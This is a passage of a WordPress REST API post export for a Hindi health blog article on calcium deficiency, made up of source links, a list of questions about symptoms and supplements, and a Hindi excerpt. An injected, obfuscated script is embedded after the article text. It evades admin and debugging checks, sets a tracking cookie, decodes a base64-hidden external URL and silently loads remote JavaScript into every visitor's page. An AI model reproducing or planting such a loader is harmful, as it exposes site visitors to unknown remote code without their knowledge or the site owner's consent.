href=\"https:\/\/www.healthsrainbow.com\/\">https:\/\/www.healthsrainbow.com\/<\/a><\/li>\n<li><a href=\"https:\/\/www.healthyvedics.com\/\">https:\/\/www.healthyvedics.com\/<\/a><\/li>\n<\/ol>\n<p><strong>&nbsp;<\/strong><\/p>\n<p><strong>This video Covers the information about:<\/strong><\/p>\n<p>What are the symptoms of calcium deficiency? Symptoms of calcium deficiency? What are the problems of calcium deficiency in the body? When is calcium deficiency in the body? What happens when there is too much calcium in the body? How to increase calcium rapidly? What is the best calcium medicine? How to overcome calcium deficiency? How many days should i take a calcium pill? What are the benefits of eating a calcium pill?<\/p>\n<p><strong>PUBLISHED BY HEALTHS RAINBOW<\/strong><\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>\u00a0 \u0915\u0948\u0932\u094d\u0936\u093f\u092f\u092e \u0936\u0930\u0940\u0930 \u0915\u0947 \u0932\u093f\u090f \u092c\u0939\u0941\u0924 \u091c\u0930\u0942\u0930\u0940 \u092a\u094b\u0937\u0915 \u0924\u0924\u094d\u0935\u094b\u0902 \u092e\u0947\u0902 \u0938\u0947 \u090f\u0915 \u0939\u0948\u0964 \u092f\u0939 \u0939\u0921\u094d\u0921\u093f\u092f\u094b\u0902 \u0914\u0930 \u0926\u093e\u0924\u094b\u0902 \u0915\u0947 \u0938\u093e\u0925 \u0915\u0908 \u0926\u0942\u0938\u0930\u0947 \u0905\u0902\u0917\u094b\u0902 \u0915\u0940 \u0938\u0902\u0930\u091a\u0928\u093e \u0914\u0930 \u0935\u093f\u0915\u093e\u0938 \u0915\u0947 \u0932\u093f\u090f \u092d\u0940 \u092c\u0939\u0941\u0924 \u0906\u0935\u0936\u094d\u092f\u0915 \u0939\u0948\u0964 \u0936\u0930\u0940\u0930 \u092e\u0947\u0902 \u0915\u0948\u0932\u094d\u0936\u093f\u092f\u092e&#8230; <\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[3145],"tags":[],"_links":{"self":[{"href":"https:\/\/www.healthsrainbow.com\/blog\/wp-json\/wp\/v2\/posts\/8783"}],"collection":[{"href":"https:\/\/www.healthsrainbow.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.healthsrainbow.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.healthsrainbow.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.healthsrainbow.com\/blog\/wp-json\/wp\/v2\/comments?post=8783"}],"version-history":[{"count":7,"href":"https:\/\/www.healthsrainbow.com\/blog\/wp-json\/wp\/v2\/posts\/8783\/revisions"}],"predecessor-version":[{"id":13715,"href":"https:\/\/www.healthsrainbow.com\/blog\/wp-json\/wp\/v2\/posts\/8783\/revisions\/13715"}],"wp:attachment":[{"href":"https:\/\/www.healthsrainbow.com\/blog\/wp-json\/wp\/v2\/media?parent=8783"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.healthsrainbow.com\/blog\/wp-json\/wp\/v2\/categories?post=8783"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.healthsrainbow.com\/blog\/wp-json\/wp\/v2\/tags?post=8783"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}